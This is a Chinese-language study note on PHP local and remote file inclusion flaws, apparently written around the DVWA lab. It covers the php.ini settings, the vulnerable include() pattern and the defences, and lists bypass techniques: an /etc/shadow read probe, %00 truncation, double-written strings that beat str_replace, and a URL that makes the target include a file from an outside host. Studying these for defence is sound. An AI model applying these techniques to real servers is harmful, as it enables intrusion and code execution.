File Inclusion分为本地文件包含和远程文件包含,远程文件包含是开启了php配置中的allow_url_fopen (选项开启后,服务器允许包含一个远程文件)
相关配置
; Whether to allow the treatment of URLs (like http:// or ftp://) as files.
allow_url_fopen = On
; Whether to allow include/require to open URLs (like http:// or ftp://) as files.
allow_url_include = On
; Magic quotes for incoming GET/POST/Cookie data.
magic_quotes_gpc = On
魔术引号(Magic Quote)是一个自动将进入 PHP 脚本的数据进行转义的过程。最好在编码时不要转义而在运行时根据需要而转义。
1 | Warning 本特性已自 PHP 5.3.0 起废弃并将自 PHP 5.4.0 起移除。 |
漏洞成因
- 服务器开启alow_url_include
- 参数可控 eg:$file=$_GET[‘page’];
- 使用php特性函数对于可控的参数进行处理:include(),require(),include_once(),require_once()
防御函数
- str_replace: 对 http://,../ 等进行替换(删除)
- fnmatch: 用模式匹配文件
- 白名单机制防护,基本无法实现攻击
攻击思路
- 如果存在报错,测试:/etc/shadow等测试系统类型:Windows/Linux
- 暴露绝对路径或者利用相对路径读取配置文件php.ini等
攻击技巧
- 在php版本小于5.3.4的服务器中,当Magic_quote_gpc=Off时,可以在文件名中使用%00进行截断(%00后的内容不会被识别),因此可以使用%00绕过某些过滤规则,例如对文件后缀有特殊要求的时候……
- 远程文件包含时的编码绕过
1 | http://192.168.153.130/dvwa/vulnerabilities/fi/page=http://192.168.5.12/phpinfo.txt |
- 针对str_replace的双写绕过,上面的url编码无法绕过str_replace,因为解码是在浏览器端执行的。
- 针对fnmatch的绕过,借用文件上传漏洞,再利用file协议去包含上传文件(需要知道上传文件的绝对路径),从而实现任意命令执行。